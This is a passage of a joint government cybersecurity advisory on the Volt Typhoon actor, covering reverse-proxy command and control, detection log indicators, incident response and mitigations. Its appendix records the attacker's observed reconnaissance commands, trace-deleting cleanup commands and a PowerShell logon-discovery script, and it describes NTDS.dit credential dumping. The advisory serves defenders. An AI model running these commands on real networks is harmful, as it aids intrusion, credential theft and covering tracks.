They have also been observed setting up FRP clients [T1090] on a victim’s corporate infrastructure to establish covert communications channels [T1573] for command and control. In one instance, Volt Typhoon actors implanted the FRP client with filename SMSvcService.exe on a Shortel Enterprise Contact Center (ECC) server and a second FRP client with filename Brightmetricagent.exe on another server. These clients, when executed via PowerShell [T1059.001], open reverse proxies between the compromised system and Volt Typhoon C2 servers. Brightmetricagent.exe has additional capabilities. The FRP client can locate servers behind a network firewall or obscured through Network Address Translation (NAT) [T1016]. It also contains multiplexer libraries that can bi-directionally stream data over NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management Instrumentation (WMI), and Z Shell (zsh) [T1059.004]. See Appendix C and MAR-10448362-1.v1 for more information.

In the same compromise, Volt Typhoon actors exploited a Paessler Router Traffic Grapher (PRTG) server as an intermediary for their FRP operations. To facilitate this, they used the netsh command, a legitimate Windows command, to create a PortProxy registry modification [T1112] on the PRTG server [T1090.001]. This key alteration redirected specific port traffic to Volt Typhoon’s proxy infrastructure, effectively converting the PRTG’s server into a proxy for their C2 traffic [T1584.004] (see Appendix B for details).

DETECTION/HUNT RECOMMENDATIONS Apply Living off the Land Detection Best Practices

Apply the prioritized detection and hardening best practice recommendations provided in joint guide Identifying and Mitigating Living off the Land Techniques. Many organizations lack security and network management best practices (such as established baselines) that support detection of malicious LOTL activity—this makes it difficult for network defenders to discern legitimate behavior from malicious behavior and conduct behavior analytics, anomaly detection, and proactive hunting. Conventional IOCs associated with the malicious activity are generally lacking, complicating network defenders’ efforts to identify, track, and categorize this sort of malicious behavior. This advisory provides guidance for a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.

Review Application, Security, and System Event Logs

Routinely review application, security, and system event logs, focusing on Windows Extensible Storage Engine Technology (ESENT) Application Logs. Due to Volt Typhoon’s ability for long-term undetected persistence, network defenders should assume significant dwell time and review specific application event log IDs, which remain on endpoints for longer periods compared to security event logs and other ephemeral artifacts. Focus on Windows ESENT logs because certain ESENT Application Log event IDs (216, 325, 326, and 327) may indicate actors copying NTDS.dit.

See Table 1 for examples of ESENT and other key log indicators that should be investigated. Please note that incidents may not always have exact matches listed in the Event Detail column due to variations in event logging and TTPs.

Table 1: Key Log Indicators for Detecting Volt Typhoon Activity

Event ID (Log)

Event Detail

Description

216 (Windows ESENT Application Log)

A database location change was detected from 'C:\Windows\NTDS\ntds.dit' to '\\?\GLOBALROOT\Device\{redacted}VolumeShadowCopy1\Windows\NTDS\ntds.dit'

A change in the NTDS.dit database location is detected. This could suggest an initial step in NTDS credential dumping where the database is being prepared for extraction.

325 (Windows ESENT Application Log)

The database engine created a new database (2, C:\Windows\Temp\tmp\Active Directory\ntds.dit).

Indicates creation of a new NTDS.dit file in a non-standard directory. Often a sign of data staging for exfiltration. Monitor for unusual database operations in temp directories.

637 (Windows ESENT Application Log)

C:\Windows\Temp\tmp\Active Directory\ntds.jfm-++- (0) New flush map file “C:\Windows\Temp\tmp\Active Directory\ntds.jfm” will be created to enable persisted lost flush detection.

A new flush map file is being created for NTDS.dit. This may suggest ongoing operations related to NTDS credential dumping, potentially capturing uncommitted changes to the NTDS.dit file.

326 (Windows ESENT Application Log)

NTDS-++-12460,D,100-++--++-1-++-

C:\$SNAP_{redacted}_VOLUMEC$\Windows\NTDS\ntds.dit-++-0-++- [1] The database engine attached a database. Began mounting of C:\Windows\NTDS\ntds.dit file created from volume shadow copy process

Represents the mounting of an NTDS.dit file from a volume shadow copy. This is a critical step in NTDS credential dumping, indicating active manipulation of a domain controller’s data.

327 (Windows ESENT Application Log)

C:\Windows\Temp\tmp\Active Directory\ntds.dit-++-1-++- [1] The database engine detached a database (2, C:\Windows\Temp\tmp\Active Directory\ntds.dit). Completion of mounting of ntds.dit file to C:\Windows\Temp\tmp\Active Director

The detachment of a database, particularly in a temp directory, could indicate the completion of a credential dumping process, potentially as part of exfiltration preparations.

21 (Windows Terminal Services Local Session Manager Operational Log)

Remote Desktop Services: Session logon succeeded: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}

Successful authentication to a Remote Desktop Services session.

22 (Windows Terminal Services Local Session Manager Operational Log)

Remote Desktop Services: Shell start notification received: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}

Successful start of a new Remote Desktop session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.

23 (Windows Terminal Services Local Session Manager Operational Log)

Remote Desktop Services: Session logoff succeeded: User: {redacted}\{redacted} Session ID: {redacted}

Successful logoff of Remote Desktop session.

24 (Windows Terminal Services Local Session Manager Operational Log)

Remote Desktop Services: Session has been disconnected: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}

Remote Desktop session disconnected by user or due to network connectivity issues.

25 (Windows  Terminal Services Local Session Manager Operational Log)

Remote Desktop Services: Session reconnection succeeded: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}

Successful reconnection to a Remote Desktop Services session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.

1017 (Windows System Log)

Handle scavenged.

Share Name: C$

File Name:

users\{redacted}\downloads\History.zip Durable: 1 Resilient or Persistent: 0 Guidance: The server closed a handle that was previously reserved for a client after 60 seconds.

Indicates the server closed a handle for a client. While common in network operations, unusual patterns or locations (like History.zip in a user’s downloads) may suggest data collection from a local system.

1102 (Windows Security Log)

All

All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known Volt Typhoon tactic to cover their tracks.

Monitor and Review OT System Logs

• Review access logs for communication paths between IT and OT networks, looking for anomalous accesses or protocols.
• Measure the baseline of normal operations and network traffic for the industrial control system (ICS) and assess traffic anomalies for malicious activity.
• Configure intrusion detection systems (IDS) to create alarms for any ICS network traffic outside normal operations.
• Track and monitor audit trails on critical areas of ICS.
• Set up security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.

Review CISA’s Recommended Cybersecurity Practices for Industrial Control Systems and the joint advisory, NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, for further OT system detection and mitigation guidance.

Use gait to Detect Possible Network Proxy Activities

Use gait[4] to detect network proxy activities. Developed by Sandia National Labs, gait is a publicly available Zeek[5] extension. The gait extension can help enrich Zeek’s network connection monitoring and SSL logs by including additional metadata in the logs. Specifically, gait captures unique TCP options and timing data such as a TCP, transport layer security (TLS), and Secure Shell (SSH) layer inferred round trip times (RTT), aiding in the identification of the software used by both endpoints and intermediaries.

While the gait extension for Zeek is an effective tool for enriching network monitoring logs with detailed metadata, it is not specifically designed to detect Volt Typhoon actor activities. The extension’s capabilities extend to general anomaly detection in network traffic, including—but not limited to—proxying activities. Therefore, while gait can be helpful in identifying tactics similar to those used by Volt Typhoon, such as proxy networks and FRP clients for C2 communication, not all proxying activities detected by using this additional metadata are necessarily indicative of Volt Typhoon presence. It serves as a valuable augmentation to current security stacks for a broader spectrum of threat detection.

For more information, see Sandia National Lab’s gait GitHub page sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies.

Review Logins for Impossible Travel

Examine VPN or other account logon times, frequency, duration, and locations. Logons from two geographically distant locations within a short timeframe from a single user may indicate an account is being used maliciously. Logons of unusual frequency or duration may indicate a threat actor attempting to access a system repeatedly or maintain prolonged sessions for the purpose of data extraction.

Review Standard Directories for Unusual Files

Review directories, such as C:\windows\temp\ and C:\users\public\, for unexpected or unusual files. Monitor these temporary file storage directories for files typically located in standard system paths, such as the System32 directory. For example, Volt Typhoon has been observed downloading comsvcs.dll to a non-standard folder (this file is normally found in the System32 folder).

INCIDENT RESPONSE

If compromise, or potential compromise, is detected, organizations should assume full domain compromise because of Volt Typhoon’s known behavioral pattern of extracting the NTDS.dit from the DCs. Organizations should immediately implement the following immediate, defensive countermeasures:

1. Sever the enterprise network from the internet. Note: this step requires the agency to understand its internal and external connections. When making the decision to sever internet access, knowledge of connections must be combined with care to avoid disrupting critical functions.
   • If you cannot sever from the internet, shutdown all non-essential traffic between the affected enterprise network and the internet.
2. Reset credentials of privileged and non-privileged accounts within the trust boundary of each compromised account.
   • Reset passwords for all domain users and all local accounts, such as Guest, HelpAssistant, DefaultAccount, System, Administrator, and krbtgt. The krbtgt account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. The krbtgt account should be reset twice because the account has a two-password history. The first account reset for the krbtgt needs to be allowed to replicate prior to the second reset to avoid any issues. See CISA’s Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise for more information. Although tailored to FCEB agencies compromised in the 2020 SolarWinds Orion supply chain compromise, the steps are applicable to organizations with Windows AD compromise.
     • Review access policies to temporarily revoke privileges/access for affected accounts/devices. If it is necessary to not alert the attacker (e.g., for intelligence purposes), then privileges can be reduced for affected accounts/devices to “contain” them.
   • Reset the relevant account credentials or access keys if the investigation finds the threat actor’s access is limited to non-elevated permissions.
     • Monitor related accounts, especially administrative accounts, for any further signs of unauthorized access.
3. Audit all network appliance and edge device configurations with indicators of malicious activity for signs of unauthorized or malicious configuration changes. Organizations should ensure they audit the current network device running configuration and any local configurations that could be loaded at boot time. If configuration changes are identified:
   • Change all credentials being used to manage network devices, to include keys and strings used to secure network device functions (SNMP strings/user credentials, IPsec/IKE preshared keys, routing secrets, TACACS/RADIUS secrets, RSA keys/certificates, etc.).
   • Update all firmware and software to the latest version.
4. Report the compromise to an authoring agency (see the Contact Information section).
5. For organizations with cloud or hybrid environments, apply best practices for identity and credential access management.
   • Verify that all accounts with privileged role assignments are cloud native, not synced from Active Directory.
   • Audit conditional access policies to ensure Global Administrators and other highly privileged service principals and accounts are not exempted.
   • Audit privileged role assignments to ensure adherence to the principle of least privilege when assigning privileged roles.
   • Leverage just-in-time and just-enough access mechanisms when administrators need to elevate to a privileged role.
   • In hybrid environments, ensure federated systems (such as AD FS) are configured and monitored properly.
   • Audit Enterprise Applications for recently added applications and examine the API permissions assigned to each.
6. Reconnect to the internet. Note: The decision to reconnect to the internet depends on senior leadership’s confidence in the actions taken. It is possible—depending on the environment—that new information discovered during pre-eviction and eviction steps could add additional eviction tasks.
7. Minimize and control use of remote access tools and protocols by applying best practices from joint Guide to Securing Remote Access Software and joint Cybersecurity Information Sheet: Keeping PowerShell: Security Measures to Use and Embrace.
8. Consider sharing technical information with an authoring agency and/or a sector-specific information sharing and analysis center.

For more information on incident response and remediation, see:

• Joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity. This advisory provides incident response best practices.
• CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to U.S. Federal Civilian Executive Branch (FCEB) agencies, the playbooks are applicable to all organizations. The incident response playbook provides procedures to identify, coordinate, remediate, recover, and track successful mitigations from incidents.
• Joint Water and Wastewater Sector - Incident Response Guide. This joint guide provides incident response best practices and information on federal resources for Water and Wastewater Systems Sector organizations.

MITIGATIONS

These mitigations are intended for IT administrators in critical infrastructure organizations. The authoring agencies recommend that software manufactures incorporate secure by design and default principles and tactics into their software development practices to strengthen the security posture for their customers.

For information on secure by design practices that may protect customers against common Volt Typhoon techniques, see joint guide Identifying and Mitigating Living off the Land Techniques and joint Secure by Design Alert Security Design Improvements for SOHO Device Manufacturers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of Volt Typhoon activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

IT Network Administrators and Defenders Harden the Attack Surface

• Apply patches for internet-facing systems within a risk-informed span of time [CPG 1E]. Prioritize patching critical assets, known exploited vulnerabilities, and vulnerabilities in appliances known to be frequently exploited by Volt Typhoon (e.g., Fortinet, Ivanti, NETGEAR, Citrix, and Cisco devices).
• Apply vendor-provided or industry standard hardening guidance to strengthen software and system configurations. Note: As part of CISA’s Secure by Design campaign, CISA urges software manufacturers to prioritize secure by default configurations to eliminate the need for customer implementation of hardening guidelines.
• Maintain and regularly update an inventory of all organizational IT assets [CPG 1A].
• Use third party assessments to validate current system and network security compliance via security architecture reviews, penetration tests, bug bounties, attack surface management services, incident simulations, or table-top exercises (both announced and unannounced) [CPG 1F].
• Limit internet exposure of systems when not necessary. An organization’s primary attack surface is the combination of the exposure of all its internet-facing systems. Decrease the attack surface by not exposing systems or management interfaces to the internet when not necessary.
• Plan “end of life” for technology beyond manufacturer supported lifecycle. Inventories of organizational assets should be leveraged in patch and configuration management as noted above. Inventories will also enable identification of technology beyond the manufacturer’s supported lifecycle. Where technology is beyond “end of life” or “end of support,” additional cybersecurity vigilance is necessary, and may warrant one or more of the following:
  • Supplemental support agreements;
  • Additional scanning and testing;
  • Configuration changes;
  • Isolation;
  • Segmentation; and
  • Development of forward-looking plans to facilitate replacement.

Secure Credentials

• Do not store credentials on edge appliances/devices. Ensure edge devices do not contain accounts that could provide domain admin access.
• Do not store plaintext credentials on any system [CPG 2L]. Credentials should be stored securely—such as with a credential/password manager or vault, or other privileged account management solutions—so they can only be accessed by authenticated and authorized users.
• Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity.
• Implement and enforce an organizational system-enforced policy that:
  • Requires passwords for all IT password-protected assets to be at least 15 characters;
  • Does not allow users to reuse passwords for accounts, applications, services, etc., [CPG 2C]; and
  • Does not allow service accounts/machine accounts to reuse passwords from member user accounts.
• Configure Group Policy settings to prevent web browsers from saving passwords and disable autofill functions.
• Disable the storage of clear text passwords in LSASS memory.

Secure Accounts

• Implement phishing-resistant MFA for access to assets [CPG 2H].
• Separate user and privileged accounts.
  • User accounts should never have administrator or super-user privileges [CPG 2E].
  • Administrators should never use administrator accounts for actions and activities not associated with the administrator role (e.g., checking email, web browsing).
• Enforce the principle of least privilege.
  • Ensure administrator accounts only have the minimum permissions necessary to complete their tasks.
  • Review account permissions for default/accounts for edge appliances/devices and remove domain administrator privileges, if identified.
  • Significantly limit the number of users with elevated privileges. Implement continuous monitoring for changes in group membership, especially in privileged groups, to detect and respond to unauthorized modifications.
  • Remove accounts from high-privilege groups like Enterprise Admins and Schema Admins. Temporarily reinstate these privileges only when necessary and under strict auditing to reduce the risk of privilege abuse.
  • Transition to Group Managed Service Accounts (gMSAs) where suitable for enhanced management and security of service account credentials. gMSAs provide automated password management and simplified Service Principal Name (SPN) management, enhancing security over traditional service accounts. See Microsoft’s Group Managed Service Accounts Overview.
• Enforce strict policies via Group Policy and User Rights Assignments to limit high-privilege service accounts.
• Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources [CPG 2L]. PAM solutions can also log and alert usage to detect any unusual activity.
• Complement the PAM solution with role-based access control (RBAC) for tailored access based on job requirements. This ensures that elevated access is granted only when required and for a limited duration, minimizing the window of opportunity for abuse or exploitation of privileged credentials.
• Implement an Active Directory tiering model to segregate administrative accounts based on their access level and associated risk. This approach reduces the potential impact of a compromised account. See Microsoft’s PAM environment tier model.
• Harden administrative workstations to only permit administrative activities from workstations appropriately hardened based on the administrative tier. See Microsoft’s Why are privileged access devices important - Privileged access.
• Disable all user accounts and access to organizational resources of employees on the day of their departure [CPG 2G]
• Regularly audit all user, admin, and service accounts and remove or disable unused or unneeded accounts as applicable.
• Regularly roll NTLM hashes of accounts that support token-based authentication.
• Improve management of hybrid (cloud and on-premises) identity federation by:
  • Using cloud only administrators that are asynchronous with on-premises environments and ensuring on-premises administrators are asynchronous to the cloud.
  • Using CISA’s SCuBAGear tool to discover cloud misconfigurations in Microsoft cloud tenants. SCuBA gear is automation script for comparing Federal Civilian Executive Branch (FCEB) agency tenant configurations against CISA M365 baseline recommendations. SCuBAGear is part of CISA’s Secure Cloud Business Applications (SCuBA) project, which provides guidance for FCEB agencies, securing their cloud business application environments and protecting federal information created, accessed, shared, and stored in those environments. Although tailored to FCEB agencies, the project provides security guidance applicable to all organizations with cloud environments. For more information on SCuBAGear see CISA’s Secure Cloud Business Applications (SCuBA) Project.
  • Using endpoint detection and response capabilities to actively defend on-premises federation servers.

Secure Remote Access Services

• Limit the use of RDP and other remote desktop services. If RDP is necessary, apply best practices, including auditing the network for systems using RDP, closing unused RDP ports, and logging RDP login attempts.
• Disable Server Message Block (SMB) protocol version 1 and upgrade to version 3 (SMBv3) after mitigating existing dependencies (on existing systems or applications), as they may break when disabled.
• Harden SMBv3 by implementing guidance included in joint #StopRansomware Guide (see page 8 of the guide).
• Apply mitigations from the joint Guide to Securing Remote Access Software.

Secure Sensitive Data

• Securely store sensitive data (including operational technology documentation, network diagrams, etc.), ensuring that only authenticated and authorized users can access the data.

Implement Network Segmentation

• Ensure that sensitive accounts use their administrator credentials only on hardened, secure computers. This practice can reduce lateral movement exposure within networks.
• Conduct comprehensive trust assessments to identify business-critical trusts and apply necessary controls to prevent unauthorized cross-forest/domain traversal.
• Harden federated authentication by enabling Secure Identifier (SID) Filtering and Selective Authentication on AD trust relationships to further restrict unauthorized access across domain boundaries.
• Implement network segmentation to isolate federation servers from other systems and limit allowed traffic to systems and protocols that require access in accordance with Zero Trust principles.

Secure Cloud Assets

• Harden cloud assets in accordance with vendor-provided or industry standard hardening guidance.
  • Organizations with Microsoft cloud infrastructure, see CISA’s Microsoft 365 Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Microsoft Defender for Office 365, Azure Active Directory (now known as Microsoft Entra ID), Exchange Online, OneDrive for Business, Power BI, Power Platform, SharePoint Online, and Teams. For additional guidance, see the Australian Signals Directorate’s Blueprint for Secure Cloud.
  • Organizations with Google cloud infrastructure, see CISA’s Google Workspace Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Groups for Business, GMAIL, Google Calendar, Google Chat, Google Common Controls, Google Classroom, Google Drive and Docs, Google Meet, and Google Sites.
• Revoke unnecessary public access to cloud environment. This involves reviewing and restricting public endpoints and ensuring that services like storage accounts, databases, and virtual machines are not publicly accessible unless absolutely necessary. Disable legacy authentication protocols across all cloud services and platforms. Legacy protocols frequently lack support for advanced security mechanisms such as multifactor authentication, rendering them susceptible to compromises. Instead, enforce the use of modern authentication protocols that support stronger security features like MFA, token-based authentication, and adaptive authentication measures.
  • Enforce this practice through the use of Conditional Access Policies. These policies can initially be run in report-only mode to identify potential impacts and plan mitigations before fully enforcing them. This approach allows organizations to systematically control access to their cloud resources, significantly reducing the risk of unauthorized access and potential compromise.
• Regularly monitor and audit privileged cloud-based accounts, including service accounts, which are frequently abused to enable broad cloud resource access and persistence.

Be Prepared

• Ensure logging is turned on for application, access, and security logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and VPNs) [CPG 2T]. Given Volt Typhoon’s use of LOTL techniques and their significant dwell time, application event logs may be a valuable resource to hunt for Volt Typhoon activity because these logs typically remain on endpoints for relatively long periods of time.
  • For OT assets where logs are non-standard or not available, collect network traffic and communications between those assets and other assets.
  • Implement file integrity monitoring (FIM) tools to detect unauthorized changes.
• Store logs in a central system, such as a security information and event management (SIEM) tool or central database.
  • Ensure the logs can only be accessed or modified by authorized and authenticated users [CPG 2U].
  • Store logs for a period informed by risk or pertinent regulatory guidelines.
  • Tune log alerting to reduce noise while ensuring there are alerts for high-risk activities. (For information on alert tuning, see joint guide Identifying and Mitigating Living Off the Land Techniques.)
• Establish and continuously maintain a baseline of installed tools and software, account behavior, and network traffic. This way, network defenders can identify potential outliers, which may indicate malicious activity. Note: For information on establishing a baseline, see joint guide Identifying and Mitigating Living off the Land Techniques.
• Document a list of threats and cyber actor TTPs relevant to your organization (e.g., based on industry or sectors), and maintain the ability (such as via rules, alerting, or commercial prevention and detection systems) to detect instances of those key threats [CPG 3A].
• Implement periodic training for all employees and contractors that covers basic security concepts (such as phishing, business email compromise, basic operational security, password security, etc.), as well as fostering an internal culture of security and cyber awareness [CPG 2I].
  • Tailor the training to network IT personnel/administrators and other key staff based on relevant organizational cyber threats and TTPs, such as Volt Typhoon. For example, communicate that Volt Typhoon actors are known to target personal email accounts of IT staff, and encourage staff to protect their personal email accounts by using strong passwords and implementing MFA.
  • In addition to basic cybersecurity training, ensure personnel who maintain or secure OT as part of their regular duties receive OT-specific cybersecurity training on at least an annual basis [CPG 2J].
  • Educate users about the risks associated with storing unprotected passwords.

OT Administrators and Defenders

• Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity. If the asset’s password cannot be changed, implement compensating controls for the device; for example, segment the device into separate enclaves and implement increased monitoring and logging.
• Require that passwords for all OT password-protected assets be at least 15 characters, when technically feasible. In instances where minimum passwords lengths are not technically feasible (for example, assets in remote locations), apply compensating controls, record the controls, and log all login attempts. [CPG 2B].
• Enforce strict access policies for accessing OT networks. Develop strict operating procedures for OT operators that details secure configuration and usage.
• Segment OT assets from IT environments by [CPG 2F]:
  • Denying all connections to the OT network by default unless explicitly allowed (e.g., by IP address and port) for specific system functionality.
  • Requiring necessary communications paths between IT and OT networks to pass through an intermediary, such as a properly configured firewall, bastion host, “jump box,” or a demilitarized zone (DMZ), which is closely monitored, captures network logs, and only allows connections from approved assets.
• Closely monitor all connections into OT networks for misuse, anomalous activity, or OT protocols.
• Monitor for unauthorized controller change attempts. Implement integrity checks of controller process logic against a known good baseline. Ensure process controllers are prevented from remaining in remote program mode while in operation if possible.
• Lock or limit set points in control processes to reduce the consequences of unauthorized controller access.
• Be prepared by:
  • Determining your critical operational processes’ reliance on key IT infrastructure:
    • Maintain and regularly update an inventory of all organizational OT assets.
    • Understand and evaluate cyber risk on “as-operated” OT assets.
    • Create an accurate “as-operated” OT network map and identify OT and IT network inter-dependencies.
  • Identifying a resilience plan that addresses how to operate if you lose access to or control of the IT and/or OT environment.
    • Plan for how to continue operations if a control system is malfunctioning, inoperative, or actively acting contrary to the safe and reliable operation of the process.
    • Develop workarounds or manual controls to ensure ICS networks can be isolated if the connection to a compromised IT environment creates risk to the safe and reliable operation of OT processes.
  • Create and regularly exercise an incident response plan.
    • Regularly test manual controls so that critical functions can be kept running if OT networks need to be taken offline.
  • Implement regular data backup procedures on OT networks.
    • Regularly test backup procedures.
• Follow risk-informed guidance in the joint advisory NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, the NSA advisory Stop Malicious Cyber Activity Against Connected Operational Technology.

CONTACT INFORMATION

US organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact:

• CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870 or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.
• Water and Wastewater Systems Sector organizations, contact the EPA Water Infrastructure and Cyber Resilience Division at watercyberta@epa.gov to voluntarily provide situational awareness.
• Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
• For transportation entities regulated by TSA, report to CISA Central in accordance with the requirements found in applicable Security Directives, Security Programs, or TSA Order.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 5 through Table 17).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REFERENCES

[1] fofa

[2] Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques

[3] GitHub - fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet

[4] GitHub - sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies

[5] The Zeek Network Security Monitor

RESOURCES

Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques

Secureworks: Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.

ACKNOWLEDGEMENTS

Fortinet and Microsoft contributed to this advisory.

VERSION HISTORY

February 7, 2024: Initial Version.

March 7, 2024: Updated Mitigations section to add recommendation on “end of life” technology.

APPENDIX A: VOLT TYPHOON OBSERVED COMMANDS / LOTL ACTIVITY

See Table 2 and Table 3 for Volt Typhoon commands and PowerShell scripts observed by the U.S. authoring agencies during incident response activities. For additional commands used by Volt Typhoon, see joint advisory People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection.

Table 2: Volt Typhoon Observed Commands in PowerShell Console History

Command/Script

Description/Use

Get-EventLog security -instanceid 4624 -after {redacted date} | fl * | Out-File 'C:\users\public\documents\user.dat'  

PowerShell command extracts security log entries with the Event ID 4624 after a specified date. The output is formatted (fl *) and saved to user.dat. Potentially used to analyze logon patterns and identify potential targets for lateral movement.

Get-EventLog security -instanceid 4624 | Where-Object {$_.message.contains('{redacted user account}')} | select -First 1 | fl *  

PowerShell command extracts security log entries with the Event ID 4624 and filters them to include only those containing a specific user account, selecting the first instance of such an event.

wminc process get name,processid

Appears to be an attempt to use the wmic command but with a misspelling (wminc instead of wmic). This command, as it stands, would not execute successfully and would return an error in a typical Windows environment. This could indicate a mistake made during manual input.

wmic process get name,processid  

WMI command lists all running processes with process names and process IDs. Potentially used to find process IDs needed for other operations, like memory dumping.

tasklist /v  

Command displays detailed information about currently running processes, including the name, PID, session number, and memory usage.

taskkill /f /im rdpservice.exe

Command forcibly terminates the process rdpservice.exe. Potentially used as a cleanup activity post-exploitation.

ping -n 1 {redacted IP address}

Command sends one ICMP echo request to a specified IP address.

ping -n 1 -w 1 {redacted IP address}

Command sends one ICMP echo request to a specified IP address with a timeout (-w) of 1 millisecond.

net user

Lists all user accounts on the local machine or domain, useful for quickly viewing existing user accounts.

quser

 

query user

Displays information about user sessions on a system, aiding in identifying active users or sessions.

net start

Lists all active services.

cmd

Opens a new instance of the command prompt.

cd [Redacted Path]

Changes the current directory to a specified path, typically for navigating file systems.

Remove-Item .\Thumbs.db

PowerShell command to delete the Thumbs.db file, possibly for cleanup or removing traces.

move .\Thumbs.db ttt.dat

Relocates and renames the file Thumbs.db in the current directory to ttt.dat within the same directory.

del .\Thumbs.db /f /s /q

Force deletes Thumbs.db files from the current directory and all subdirectories, part of cleanup operations to erase traces.

del ??

Deletes files with two-character names, potentially a targeted cleanup command.

del /?

Displays help information for the del command.

exit

Terminates the command prompt session.

ipconfig

Retrieves network configuration details, helpful for discovery and mapping the victim's network.

net time /dom

Queries or sets the network time for a domain, potentially used for reconnaissance or to manipulate system time.

netstta -ano

Intended as netstat -ano; a mistyped command indicating a potential operational error.

netstat -ano

Lists active network connections and processes, helpful for identifying communication channels and potential targets.

type .\Notes.txt

Displays the contents of Notes.txt, possibly used for extracting specific information or intelligence gathering.

logoff

Logs off the current user session.

Table 3: Volt Typhoon Observed PowerShell Scripts

Script name and location

Contents

Description/Use

C:\{redacted}\

logins.ps1

# Find DC list from Active Directory

$DCs = Get-ADDomainController -Filter *

 

# Define time for report (default is 1 day)

$startDate = (get-date).AddDays(-1)

 

# Store successful logon events from security logs with the specified dates and workstation/IP in an array

foreach ($DC in $DCs){

$slogonevents = Get-Eventlog -LogName Security -ComputerName $DC.Hostname -after $startDate | where {$_.eventID -eq 4624 }}

 

# Crawl through events; print all logon history with type, date/time, status, account name, computer and IP address if user logged on remotely

 

 foreach ($e in $slogonevents){

 # Logon Successful Events

 # Local (Logon Type 2)

 if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 2)){

 write-host "Type: Local Logon`tDate: "$e.TimeGenerated "`tStatus: Success`tUser: "$e.ReplacementStrings[5] "`tWorkstation: "$e.ReplacementStrings[11]

 }

 # Remote (Logon Type 10)

 if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 10)){

 write-host "Type: Remote Logon`tDate: "$e.TimeGenerated "`tStatus: Success`tUser: "$e.ReplacementStrings[5] "`tWorkstation: "$e.ReplacementStrings[11] "`tIP Address: "$e.ReplacementStrings[18]

 }}

The script is designed for user logon discovery in a Windows Active Directory environment. It retrieves a list of DCs and then queries security logs on these DCs for successful logon events (Event ID 4624) within the last day. The script differentiates between local (Logon Type 2) and remote (Logon Type 10) logon events. For each event, it extracts and displays details including the logon type, date/time of logon, status, account name, and the workstation or IP address used for the logon. Volt Typhoon may be leveraging this script to monitor user logon activities across the network, potentially to identify patterns, gather credentials, or track the movement of users and administrators within the network.

APPENDIX B: INDICATORS OF COMPROMISE

